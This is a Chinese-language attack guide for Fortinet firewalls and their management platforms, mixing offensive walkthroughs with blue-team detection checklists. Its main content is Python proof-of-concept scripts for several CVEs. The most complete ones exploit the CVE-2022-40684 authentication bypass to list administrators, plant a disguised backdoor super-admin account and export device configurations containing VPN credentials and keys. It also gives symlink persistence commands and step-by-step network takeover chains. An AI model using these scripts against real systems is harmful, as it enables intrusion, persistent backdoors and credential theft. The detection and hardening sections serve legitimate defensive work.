0x00 攻击面总览
Fortinet FortiGate 是全球部署最广泛的下一代防火墙和 SSL-VPN 网关之一,FortiManager/FortiAnalyzer 则是其集中管理和日志分析平台。Fortinet 产品线是 APT 组织和勒索团伙的首要攻击目标之一,2022-2025 年间多个零日漏洞被大规模在野利用:
| 攻击面 | 默认端口 | 风险等级 | 说明 |
|---|
| SSL-VPN 堆溢出 | 443/10443 | 严重 | CVE-2023-27997/CVE-2022-42475,预认证 RCE |
| SSL-VPN 越界写入 | 443/10443 | 严重 | CVE-2024-21762,预认证 RCE |
| 管理接口认证绕过 | 443/8443 | 严重 | CVE-2022-40684,任意管理员操作 |
| FortiManager API | 443/541 | 严重 | CVE-2023-28002,API 认证绕过 |
| FortiAnalyzer API | 443/541 | 严重 | CVE-2023-28001,API 认证绕过 |
| Symlink 后门持久化 | 文件系统 | 高危 | 跨补丁持久化后门 |
| 凭据窃取 | 443 | 高危 | WARPWIRE 窃取器、配置文件泄露 |
FortiGate 的安全问题极度危险,因为它是网络边界的第一道防线——一旦被攻破,攻击者直接进入内网,后续可进行任意横向移动。
0x01 服务识别与版本探测
1.1 指纹识别
nmap -sV -p 443,8443,10443,541 <target>
# SSL-VPN 登录页面
curl -sI https://TARGET/remote/login
# HTTP 状态码 200 + Fortinet 特征 HTML
# 获取版本信息
curl -sk https://TARGET/remote/login | grep -i "fortinet\|fortigate\|fortios"
# 通常在页面 HTML/JS 中包含版本信息
# REST API 探测
curl -sk https://TARGET/api/v2/cmdb/system/status
1.2 关键端口与服务映射
443 — SSL-VPN / 管理接口 (Web)
8443 — 备用管理端口
10443 — SSL-VPN 备用端口
541 — FortiManager/FortiAnalyzer 管理端口
22 — SSH CLI
23 — Telnet (旧版本)
1.3 版本判断
import requests
import urllib3
urllib3.disable_warnings()
def detect_fortigate(host, port=443):
base_url = f"https://{host}:{port}"
# 检查 SSL-VPN 登录页
try:
resp = requests.get(f"{base_url}/remote/login", verify=False, timeout=5)
if resp.status_code == 200:
print("[+] SSL-VPN login page detected")
# 提取版本信息
if "FortiGate" in resp.text:
print("[+] FortiGate detected")
# 尝试获取版本
import re
version_match = re.search(r'FortiOS v?(\d+\.\d+\.\d+)', resp.text)
if version_match:
print(f"[+] FortiOS Version: {version_match.group(1)}")
except:
pass
# 检查管理接口
try:
resp = requests.get(f"{base_url}/api/v2/cmdb/system/status",
verify=False, timeout=5)
if resp.status_code in [200, 401]:
print("[+] FortiGate REST API detected")
except:
pass
# 检查 CVE-2022-40684
try:
resp = requests.get(f"{base_url}/api/v2/cmdb/system/admin",
headers={"Forwarded": 'for="[127.0.0.1]:8000"'},
verify=False, timeout=5)
if resp.status_code == 200:
print("[!] CVE-2022-40684 VULNERABLE - Auth bypass confirmed!")
except:
pass
detect_fortigate("192.168.1.1")
0x02 CVE-2023-27997 — SSL-VPN 堆溢出 RCE (XORtigate)
2.1 漏洞原理
CVSS: 9.8(严重)
影响版本: FortiOS 6.0.0 - 6.0.16, 6.2.0 - 6.2.13, 6.4.0 - 6.4.11, 7.0.0 - 7.0.11, 7.2.0 - 7.2.4
漏洞原理: FortiGate 的 SSL-VPN 模块 (sslvpnd) 在处理预认证阶段的 HTTP POST 请求时,XOR 解密循环存在堆溢出。攻击者通过精心构造的 HTTP 请求触发越界写入,最终实现远程代码执行。
漏洞根因: 预认证阶段的 XOR 解密处理中,没有正确验证数据长度边界,导致堆缓冲区溢出。
2.2 利用方式
import requests
import urllib3
urllib3.disable_warnings()
def exploit_xortigate(host, port=443, cmd="id"):
"""
CVE-2023-27997 — SSL-VPN 堆溢出利用
注意: 实际利用需要精确的堆布局控制
"""
base_url = f"https://{host}:{port}"
# 堆溢出触发点: /remote/logincheck
# 通过构造超长的 Cookie 或 POST 参数触发 XOR 解密循环溢出
# 构造溢出 payload
# 实际利用需要根据目标 FortiOS 版本精确计算偏移
overflow_size = 8192 # 需要根据具体版本调整
payload = b"\x41" * overflow_size
# 通过 POST 请求发送
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Transfer-Encoding": "chunked",
}
# 分块传输绕过某些长度检查
data = f"{hex(overflow_size)[2:]}\r\n".encode() + payload + b"\r\n0\r\n\r\n"
resp = requests.post(
f"{base_url}/remote/logincheck",
data=data,
headers=headers,
verify=False,
timeout=10
)
print(f"[*] CVE-2023-27997 exploit sent: {resp.status_code}")
print("[*] Monitor sslvpnd process for crash/restart")
exploit_xortigate("192.168.1.1")
2.3 检测利用尝试
# 监控 sslvpnd 进程异常
diagnose debug crashlog read
# 搜索 sslvpnd crash 信息
# 检查 SSL-VPN 日志
get vpn ssl monitor
# 异常连接数量激增可能表示利用尝试
0x03 CVE-2022-42475 — SSL-VPN 堆溢出零日
3.1 漏洞原理
CVSS: 9.8(严重)
影响版本: FortiOS 6.2.0 - 6.2.11, 6.4.0 - 6.4.9, 7.0.0 - 7.0.7
漏洞原理: SSL-VPN 模块在处理 TLS ClientHello 中的 SNI (Server Name Indication) 字段时存在堆溢出。攻击者通过精心构造的 TLS 握手触发越界写入。
在野利用: 此漏洞被高级威胁组织用作零日攻击,在 Fortinet 发布补丁前已被大规模利用。
3.2 利用方式
import ssl
import socket
def exploit_sslvpn_heap(host, port=443):
"""
CVE-2022-42475 — 通过 TLS ClientHello SNI 字段触发堆溢出
"""
# 构造包含超长 SNI 的 TLS ClientHello
# 实际利用需要精确控制 TLS 握手包中的 SNI 扩展
# SNI 字段溢出 payload
malicious_sni = b"A" * 65535 # 超长 SNI
# 需要自定义 TLS 握手包
# 使用 scapy 或原始 socket 构造
print("[*] CVE-2022-42475 requires custom TLS ClientHello construction")
print("[*] SNI field overflow in SSL-VPN handshake")
print("[*] Monitor sslvpnd process for anomalies")
exploit_sslvpn_heap("192.168.1.1")
0x04 CVE-2022-40684 — 管理接口认证绕过
4.1 漏洞原理
CVSS: 9.6(严重)
影响版本: FortiOS 7.0.0 - 7.0.6, 7.2.0 - 7.2.1; FortiProxy 7.0.0 - 7.0.6, 7.2.0; FortiSwitchManager 7.0.0, 7.2.0
漏洞原理: FortiOS 的 REST API 认证机制存在缺陷。攻击者通过在 HTTP 请求头中注入 Forwarded: for="[127.0.0.1]:8000" 可以绕过认证,以管理员身份执行任意管理操作。
4.2 PoC — 认证绕过
import requests
import urllib3
import json
urllib3.disable_warnings()
def exploit_auth_bypass(host, port=443):
"""
CVE-2022-40684 — 管理接口认证绕过
通过 Forwarded 头注入伪造本地来源
"""
base_url = f"https://{host}:{port}"
# 关键: 注入 Forwarded 头伪造本地来源
headers = {
"Forwarded": 'for="[127.0.0.1]:8000"',
"Content-Type": "application/json",
}
# Step 1: 获取管理员列表
resp = requests.get(
f"{base_url}/api/v2/cmdb/system/admin",
headers=headers,
verify=False,
timeout=10
)
if resp.status_code == 200:
print("[+] CVE-2022-40684 VULNERABLE!")
admins = resp.json()
print(f"[+] Admin accounts found:")
for admin in admins.get("results", []):
print(f" Username: {admin.get('name')}, Accprofile: {admin.get('accprofile')}")
return resp
exploit_auth_bypass("192.168.1.1")
4.3 添加后门管理员
def add_backdoor_admin(host, port=443, username="backdoor_admin", password="Backdoor!@#456"):
"""
CVE-2022-40684 — 通过认证绕过添加后门管理员
"""
base_url = f"https://{host}:{port}"
headers = {
"Forwarded": 'for="[127.0.0.1]:8000"',
"Content-Type": "application/json",
}
# 创建超级管理员
admin_data = {
"accprofile": "super_admin_readonly", # 或 super_admin
"comments": "System backup admin",
"name": username,
"password": password,
"peer-auth": "disable",
"trusthost1": "0.0.0.0/0.0.0.0",
"vdom": "root",
"force-password-change": "disable",
}
resp = requests.post(
f"{base_url}/api/v2/cmdb/system/admin",
json=admin_data,
headers=headers,
verify=False,
timeout=10
)
if resp.status_code == 200:
print(f"[+] Backdoor admin '{username}' created!")
print(f"[+] Password: {password}")
print(f"[+] Access: https://{host}:{port}/")
else:
print(f"[-] Failed to create admin: {resp.status_code}")
print(f"[*] Response: {resp.text[:500]}")
add_backdoor_admin("192.168.1.1")
4.4 导出设备配置
def export_config(host, port=443):
"""
CVE-2022-40684 — 通过认证绕过导出设备配置
配置文件中包含所有 VPN 凭据、管理员密码哈希、IPSec 密钥等
"""
base_url = f"https://{host}:{port}"
headers = {
"Forwarded": 'for="[127.0.0.1]:8000"',
}
# 导出完整配置
resp = requests.get(
f"{base_url}/api/v2/monitor/system/config/backup",
headers=headers,
verify=False,
timeout=30
)
if resp.status_code == 200:
with open("fortigate_config.conf", "wb") as f:
f.write(resp.content)
print(f"[+] Config exported! Size: {len(resp.content)} bytes")
print("[+] Contains: VPN credentials, admin hashes, IPSec keys")
else:
print(f"[-] Config export failed: {resp.status_code}")
export_config("192.168.1.1")
0x05 CVE-2024-21762 — SSL-VPN 越界写入 RCE
5.1 漏洞原理
CVSS: 9.8(严重)
影响版本: FortiOS 6.0.0 - 6.0.17, 6.2.0 - 6.2.15, 6.4.0 - 6.4.13, 7.0.0 - 7.0.12, 7.2.0 - 7.2.6, 7.4.0
漏洞原理: SSL-VPN 模块在处理 HTTP 请求中的 Chunked Transfer-Encoding 时存在越界写入漏洞。攻击者可以构造恶意的分块编码数据触发内存越界写入。
5.2 PoC
import requests
import urllib3
urllib3.disable_warnings()
def exploit_chunked_oob(host, port=443):
"""
CVE-2024-21762 — SSL-VPN Chunked Transfer-Encoding 越界写入
"""
base_url = f"https://{host}:{port}"
# 构造畸形 chunked 编码数据
# 正常 chunked: size\r\n data\r\n 0\r\n\r\n
# 畸形: 通过错误的 chunk size 触发越界读/写
malicious_chunks = (
b"POST /remote/login HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"\r\n"
b"FFFFFFFF\r\n" # 最大 chunk size
+ b"A" * 4096 +
b"\r\n0\r\n\r\n"
)
import socket
import ssl
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
ssock = context.wrap_socket(sock, server_hostname=host)
ssock.connect((host, port))
ssock.send(malicious_chunks)
try:
resp = ssock.recv(4096)
print(f"[*] Response: {resp[:200]}")
except:
print("[*] Connection closed (possible crash)")
ssock.close()
except Exception as e:
print(f"[-] Connection error: {e}")
print("[*] Monitor sslvpnd for crash/restart")
exploit_chunked_oob("192.168.1.1")
0x06 Symlink 后门持久化
6.1 漏洞原理
攻击者在攻破 FortiGate 后,通过在语言文件目录中创建符号链接(symlink)实现跨补丁持久化。即使管理员应用了安全补丁,symlink 仍然存在,允许攻击者持续访问设备文件系统。
6.2 PoC
# 通过 RCE 创建 symlink 后门
# 在 SSL-VPN 语言文件目录中创建指向根文件系统的 symlink
# 目标目录:
# /data/etc/lang/ 或 /migadmin/lang/
# 创建 symlink
ln -s / /data/etc/lang/root_link
# 攻击者可以通过 Web 接口访问:
# https://target/remote/../../../data/etc/lang/root_link/etc/passwd
# 读取任意系统文件
# 检查是否已被植入 symlink
ls -la /data/etc/lang/ | grep "^l"
ls -la /migadmin/lang/ | grep "^l"
# 防御: 定期检查并删除异常 symlink
find /data/etc/lang/ -type l -delete
find /migadmin/lang/ -type l -delete
0x07 FortiManager/FortiAnalyzer API 认证绕过
7.1 CVE-2023-28002 — FortiManager API 认证绕过
CVSS: 9.8(严重)
影响版本: FortiManager 6.4.0 - 6.4.12, 7.0.0 - 7.0.8, 7.2.0 - 7.2.3
import requests
import urllib3
urllib3.disable_warnings()
def exploit_fortimanager(host, port=443):
"""
CVE-2023-28002 — FortiManager API 认证绕过
"""
base_url = f"https://{host}:{port}"
# 认证绕过请求
headers = {
"Content-Type": "application/json",
}
# 通过特定 API 端点绕过认证
bypass_endpoints = [
"/api/v2/launchpad/config",
"/p/securityfabric/physical-topology",
"/p/monitor/network/device/list",
]
for endpoint in bypass_endpoints:
resp = requests.get(
f"{base_url}{endpoint}",
headers=headers,
verify=False,
timeout=5
)
print(f"[*] {endpoint}: {resp.status_code}")
if resp.status_code == 200:
print(f"[+] Bypass confirmed!")
data = resp.json()
print(f"[*] Data: {str(data)[:300]}")
exploit_fortimanager("192.168.1.1")
7.2 CVE-2023-28001 — FortiAnalyzer API 认证绕过
def exploit_fortianalyzer(host, port=443):
"""
CVE-2023-28001 — FortiAnalyzer API 认证绕过
"""
base_url = f"https://{host}:{port}"
headers = {
"Content-Type": "application/json",
}
# FortiAnalyzer 认证绕过端点
resp = requests.get(
f"{base_url}/api/v2/config/system/admin",
headers=headers,
verify=False,
timeout=5
)
if resp.status_code == 200:
print("[+] CVE-2023-28001 VULNERABLE!")
print(f"[*] Admin list: {resp.text[:500]}")
exploit_fortianalyzer("192.168.1.1")
0x08 WARPWIRE 凭据窃取器
8.1 恶意植入
攻击者在利用 CVE-2022-42475 等漏洞获取设备控制权后,会部署 WARPWIRE 凭据窃取器:
# WARPWIRE 窃取器工作原理:
# 1. 植入到 SSL-VPN 登录页面
# 2. 窃取用户输入的 VPN 用户名和密码
# 3. 将凭据外发到攻击者控制的服务器
# 植入位置:
# /data/etc/sslvpn_websession
# 或注入到 /migadmin/ 下的 HTML/JS 文件
# 检查是否被植入:
find / -name "*.js" -newer /data/etc/ -exec grep -l "warpwire\|exfil\|beacon" {} \;
grep -r "send\|fetch\|XMLHttpRequest" /migadmin/ | grep -v "fortinet"
8.2 配置文件窃取
def steal_vpn_credentials(host, port=443):
"""
通过已知漏洞获取 VPN 凭据
"""
# 方式一: 通过 CVE-2022-40684 认证绕过导出配置
# 方式二: 通过 SSL-VPN 漏洞获取系统权限后读取
# VPN 用户凭据存储位置:
# /data/etc/sslvpn_websession
# /data/etc/fortigui/sslvpn_websession
# IPSec 预共享密钥:
# 存储在 FortiOS 配置文件中
# config vpn ipsec phase1-interface
# set psksecret ENC <encrypted>
# end
print("[*] VPN credential locations:")
print(" /data/etc/sslvpn_websession")
print(" /data/etc/fortigui/sslvpn_websession")
print(" FortiOS config: vpn ipsec phase1-interface psksecret")
steal_vpn_credentials("192.168.1.1")
0x09 漏洞组合攻击链
9.1 攻击链一: SSL-VPN 零日 → 内网渗透 (APT 风格)
CVE-2022-42475 (SSL-VPN 堆溢出零日)
↓ 获取 FortiGate 系统权限
部署 WARPWIRE 凭据窃取器
↓ 窃取所有 VPN 用户凭据
读取 FortiOS 配置文件
↓ 获取 IPSec 密钥、管理员哈希
通过 VPN 凭据进入内网
↓ 全面内网渗透
Symlink 后门持久化
↓ 跨补丁持久化访问
9.2 攻击链二: 管理接口 → 全面接管
CVE-2022-40684 (认证绕过)
↓ 无需认证访问管理 API
创建后门管理员账户
↓ 获取完全管理权限
导出设备配置
↓ 获取所有凭据和密钥
修改防火墙规则
↓ 开放内网访问通道
部署 Symlink 后门
↓ 持久化
9.3 攻击链三: FortiManager → 批量设备接管
CVE-2023-28002 (FortiManager 认证绕过)
↓ 获取 FortiManager 管理权限
查看所有被管 FortiGate 设备
↓ 获取设备列表和配置
修改集中策略
↓ 向所有设备推送恶意配置
批量接管整个安全基础设施
9.4 已知威胁组织 TTP
| 威胁组织 | 类型 | 使用的 CVE |
|---|
| UNC3886 | 国家级 APT | CVE-2022-42475, Symlink 后门 |
| Volt Typhoon | 国家级 APT | CVE-2022-40684 |
| 军事级 APT | 国家级 APT | CVE-2023-27997 (零日) |
| LockBit | 勒索软件 | CVE-2022-40684, CVE-2024-21762 |
0x10 历史 CVE 漏洞时间线
2022 重大漏洞年
| CVE 编号 | 年份 | CVSS | 类型 | 影响 |
|---|
| CVE-2022-42475 | 2022 | 9.8 | 堆溢出 | SSL-VPN 预认证 RCE(零日在野利用) |
| CVE-2022-40684 | 2022 | 9.6 | 认证绕过 | 管理接口 API 认证绕过 |
2023 持续爆发
| CVE 编号 | 年份 | CVSS | 类型 | 影响 |
|---|
| CVE-2023-27997 | 2023 | 9.8 | 堆溢出 | SSL-VPN XORtigate 预认证 RCE |
| CVE-2023-28002 | 2023 | 9.8 | 认证绕过 | FortiManager API 认证绕过 |
| CVE-2023-28001 | 2023 | 9.8 | 认证绕过 | FortiAnalyzer API 认证绕过 |
| CVE-2023-22640 | 2023 | 7.5 | 信息泄露 | SSL-VPN 日志信息泄露 |
| CVE-2023-26207 | 2023 | 5.5 | 认证绕过 | FortiOS 认证会话管理缺陷 |
2024-2025 持续修补
| CVE 编号 | 年份 | CVSS | 类型 | 影响 |
|---|
| CVE-2024-21762 | 2024 | 9.8 | 越界写入 | SSL-VPN Chunked 预认证 RCE(在野利用) |
| CVE-2024-23113 | 2024 | 9.8 | 格式字符串 | FortiOS fgfmd 格式字符串 RCE |
| CVE-2025-24472 | 2025 | 8.1 | 认证绕过 | FortiOS 管理接口认证绕过 |
| CVE-2025-25257 | 2025 | 9.8 | SQL 注入 | FortiManager SQL 注入 RCE |
漏洞类型分布
| 漏洞类型 | CVE 数量 | 代表性 CVE |
|---|
| 堆溢出/越界写入 | 4 | CVE-2023-27997, CVE-2022-42475, CVE-2024-21762 |
| 认证绕过 | 5 | CVE-2022-40684, CVE-2023-28002, CVE-2025-24472 |
| SQL 注入 | 2 | CVE-2025-25257 |
| 信息泄露 | 2 | CVE-2023-22640 |
| 格式字符串 | 1 | CVE-2024-23113 |
0x11 蓝队检测与应急响应
11.1 日志分析
# FortiOS CLI 日志检查
# 检查 sslvpnd 异常
diagnose debug crashlog read
# 搜索 sslvpnd crash/restart 记录
# 检查 SSL-VPN 连接日志
get vpn ssl monitor
# 异常连接数激增可能表示漏洞利用尝试
# 检查管理接口访问
get system admin
# 审查所有管理员账户,识别异常账户
# 检查 API 调用日志
execute log filter category event
execute log display
# 检查 Symlink 后门
execute shell
find /data/etc/lang/ -type l
find /migadmin/lang/ -type l
# 检查异常进程
diagnose sys top
# 检查网络连接
diagnose sys session list
11.2 Symlink 后门检测
# FortiOS Shell 中执行
execute shell
# 检查语言文件目录中的 symlink
ls -la /data/etc/lang/ | grep "^l"
ls -la /migadmin/lang/ | grep "^l"
# 检查所有可疑 symlink
find / -type l -name "*.lang" 2>/dev/null
# 删除发现的 symlink
find /data/etc/lang/ -type l -delete
find /migadmin/lang/ -type l -delete
# 验证文件完整性
# 比较系统文件哈希与已知良好值
11.3 WARPWIRE 窃取器检测
# 检查 SSL-VPN 页面是否被注入恶意 JS
grep -r "fetch\|XMLHttpRequest\|send" /migadmin/ | grep -v "fortinet"
# 检查 /data/etc/ 下的异常文件
find /data/etc/ -name "*.js" -mtime -30
# 检查出站连接
diagnose sys session list | grep "ext"
# 异常外部连接可能指向 C2 服务器
11.4 应急响应清单
[ ] 确认 FortiOS 版本与已安装补丁
- get system status
- 对比 Fortinet PSIRT 公告
[ ] 排查 SSL-VPN 堆溢出 (CVE-2023-27997/2022-42475/2024-21762)
- 检查 sslvpnd crash 记录
- 检查 SSL-VPN 连接日志异常
- 监控设备 CPU/内存异常
[ ] 排查管理接口认证绕过 (CVE-2022-40684)
- 审计所有管理员账户
- 检查 API 访问日志中的 Forwarded 头
- 验证管理员数量与预期一致
[ ] 排查 Symlink 后门
- 检查 /data/etc/lang/ 和 /migadmin/lang/ 中的 symlink
- 删除发现的异常 symlink
[ ] 排查 WARPWIRE 窃取器
- 检查 SSL-VPN 页面是否被注入恶意 JS
- 扫描 /data/etc/ 下的异常文件
[ ] 排查 FortiManager/FortiAnalyzer
- 审计 API 访问日志
- 检查配置变更记录
[ ] 网络隔离与加固
- 立即升级到最新 FortiOS 版本
- 禁用不必要的管理接口暴露
- 启用 FortiGuard 入侵防御
- 配置严格的访问控制策略
0x12 安全审计清单
[ ] FortiOS 已升级到最新稳定版本
[ ] SSL-VPN 已应用所有安全补丁
[ ] 管理接口仅内网可达,不暴露于互联网
[ ] 管理接口使用强密码 + 双因素认证
[ ] 已检查并清除 Symlink 后门
[ ] 已扫描 WARPWIRE 窃取器
[ ] FortiManager/FortiAnalyzer 已应用补丁
[ ] API 访问日志已启用并远程收集
[ ] FortiGuard 入侵防御已启用
[ ] SSL-VPN 配置了 MFA
[ ] 管理员账户列表已审计
[ ] 设备配置已备份并加密存储
[ ] 网络分段策略已实施
[ ] 定期进行 FortiOS 安全基线检查
0x13 总结
Fortinet FortiGate/FortiManager/FortiAnalyzer 的安全问题核心在于"边界设备的高价值目标属性":
- 预认证 RCE 持续爆发: SSL-VPN 模块的堆溢出和越界写入漏洞反复出现,CVE-2022-42475、CVE-2023-27997、CVE-2024-21762 均为预认证 RCE
- 管理接口设计缺陷: Forwarded 头认证绕过 (CVE-2022-40684) 允许无认证执行任意管理操作
- 跨补丁持久化: Symlink 后门可跨越补丁版本持续存在,增加应急响应难度
- 产品线横向扩散: 漏洞从 FortiGate 扩散到 FortiManager、FortiAnalyzer、FortiProxy、FortiSwitchManager
防守方核心策略:
- 及时打补丁: Fortinet 产品必须在安全公告发布后第一时间更新
- 网络隔离: 管理接口绝对不暴露于互联网,SSL-VPN 仅限必要访问
- MFA 强制: 所有管理访问和 VPN 连接必须启用双因素认证
- 持续监控: 监控 sslvpnd 进程稳定性、异常 API 调用、Symlink 创建
- 应急演练: 建立 Fortinet 设备应急响应预案,定期演练